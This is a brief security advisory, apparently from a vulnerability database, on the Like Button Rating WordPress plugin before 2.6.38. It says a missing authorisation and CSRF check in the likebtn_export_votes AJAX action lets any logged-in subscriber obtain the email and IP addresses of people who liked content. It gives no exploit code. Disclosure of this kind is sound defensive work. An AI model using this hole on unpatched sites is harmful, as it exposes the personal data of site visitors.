Like Button Rating < 2.6.38 - Unauthorised Vote Export to Email & IP Addresses Disclosure

Description

The plugin does not have any authorisation and CSRF checks in the likebtn_export_votes AJAX action, which could allow any authenticated user, such as subscriber, to get a list of email and IP addresses of people who liked content from the blog.
